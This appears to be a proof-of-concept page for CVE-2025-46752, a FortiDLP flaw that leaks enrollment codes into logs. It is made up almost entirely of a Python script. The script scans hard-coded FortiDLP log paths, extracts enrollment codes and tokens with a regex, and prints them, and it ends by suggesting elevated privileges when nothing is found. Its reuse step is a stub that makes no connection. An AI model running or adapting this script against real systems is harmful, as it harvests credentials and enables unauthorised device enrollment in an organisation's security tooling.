CVE-2025-46752 Fortinet FortiDLP日志敏感信息泄露漏洞

# CVE-2025-46752 PoC - FortiDLP Enrollment Code Log Disclosure # This PoC demonstrates how an attacker with local access and low privileges # can extract sensitive enrollment codes from FortiDLP log files. import os import re import sys # Common log file locations for FortiDLP LOG_PATHS = [ "/var/log/fortidlp/fortidlp.log", "/opt/fortidlp/logs/application.log", "/usr/local/fortidlp/logs/enrollment.log", "/var/log/fortidlp/enrollment.log", "C:\\Program Files\\Fortinet\\FortiDLP\\logs\\fortidlp.log", "C:\\ProgramData\\Fortinet\\FortiDLP\\logs\\enrollment.log" ] # Regex pattern to match enrollment codes in log files # Enrollment codes are typically alphanumeric strings of specific length ENROLLMENT_CODE_PATTERN = re.compile( r'(enrollment[\s_]?code|registration[\s_]?code|enroll[\s_]?token)[\s:=]+([A-Za-z0-9\-_]{8,64})', re.IGNORECASE ) def search_log_files(): """Search FortiDLP log files for sensitive enrollment codes""" found_codes = [] for log_path in LOG_PATHS: if os.path.exists(log_path): print(f"[*] Checking log file: {log_path}") try: with open(log_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() matches = ENROLLMENT_CODE_PATTERN.findall(content) for match in matches: code_type, code_value = match found_codes.append({ "type": code_type, "code": code_value, "source": log_path }) print(f"[+] Found {code_type}: {code_value}") except PermissionError: print(f"[-] Permission denied: {log_path}") except Exception as e: print(f"[-] Error reading {log_path}: {e}") return found_codes def reuse_enrollment_code(code): """ Simulate reusing the extracted enrollment code to register a new agent/device to the FortiDLP management console. """ print(f"\n[*] Attempting to reuse enrollment code: {code}") # In a real scenario, this would involve connecting to the # FortiDLP management server and using the code for registration print("[!] This would allow unauthorized device enrollment") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-46752 - FortiDLP Enrollment Code Disclosure PoC") print("=" * 60) codes = search_log_files() if codes: print(f"\n[!] Total enrollment codes found: {len(codes)}") for code_info in codes: reuse_enrollment_code(code_info["code"]) else: print("\n[-] No enrollment codes found in accessible log files") print("[*] Try running with elevated privileges or check additional log paths")